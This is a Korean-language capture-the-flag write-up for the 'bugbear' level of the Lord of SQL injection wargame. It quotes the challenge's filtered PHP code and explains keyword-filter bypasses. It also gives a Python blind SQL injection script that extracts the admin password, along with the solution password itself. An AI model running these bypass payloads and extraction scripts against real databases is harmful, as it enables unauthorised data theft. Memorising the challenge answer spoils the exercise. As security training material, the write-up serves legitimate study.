write-up/LOS write-up

LOS (Lord of SQL injection) 문제 13번 bugbear write-up

정보보호학과 새내기 2021. 7. 7. 14:39
반응형
SMALL

문제 13번 - bugbear

 

query : select id from prob_bugbear where id='guest' and pw='' and no=

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

일단 다른 문제들과 마찬가지로 php코드가 주어져있다.

 

먼저 필터링 함수를 확인해보면 no를 받는 변수에서 prob와 _ , . , ()을 필터링하고 추가로 '와 substr, ascii, =, or, and, like, 0x(hex값 사용 불가능), 공백을 필터링한다. pw를 받는 변수에서는 '를 필터링한다. 둘 다 i를 통해 대소문자를 구분하지 않는 것을 알 수 있다.

<?php 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
?>

 

또 clear 조건을 확인하기 위해 조건문 코드를 확인해보니 비밀번호가 필요하다는 것을 알 수 있다. pw의 크기를 먼저 찾고 pw를 찾는 파이썬 코드를 제작해야겠다.

<?php 
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

 

아래 코드를 보면 참인 값이 주어졌을 때 Hello를 출력하는 것을 알 수 있다. 이것을 통해 pw값을 구할 것이다.

<?php 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
?>

 

일단 먼저 필터링되는 문자들을 우회할 수 있는 문자들을 찾아야하는데 =과 같은 의미인 like도 필터링하므로 in을 사용해야한다. 또 공백은 %20을 필터링 하는 것이므로 %0a를 대신해서 사용하였다.

 

pw의 크기를 찾기 위해 url에 no=1||length(pw)%0ain%0a(8)을 입력했더니 Hello admin이 출력되었다.

pw의 길이가 8일 때 hello admin출력

 

이제 pw의 길이를 알았으니 파이썬 코드를 이용해 반복문을 만들고 비밀번호를 찾아야한다.

앞선 문제들에서 이용한 코드를 필터링함수 조건에 맞게 변형하였다.

import requests

url="https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookie =dict(PHPSESSID="쿠키값")

result=""

for i in range(1,9):
    for j in range(32,127):
        param={"no": "1||no>1&&mid(pw,"+str(i)+",1)>char("+str(j)+")"}
        URL = url
        response = requests.get(url=URL,params=param,cookies=cookie)
        if "Hello admin" not in response.text:
            print(chr(j))
            result += chr(j)
            break
print("pw는",result,"입니다")

위 코드를 이용하여 pw를 구하면 52dc3991이다.

pw 찾는 파이썬 코드 실행

따라서 해당 주소 php 뒤에 pw=52dc3991을 입력한다.

 

solve

https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=52dc3991

클리어 화면

반응형
LIST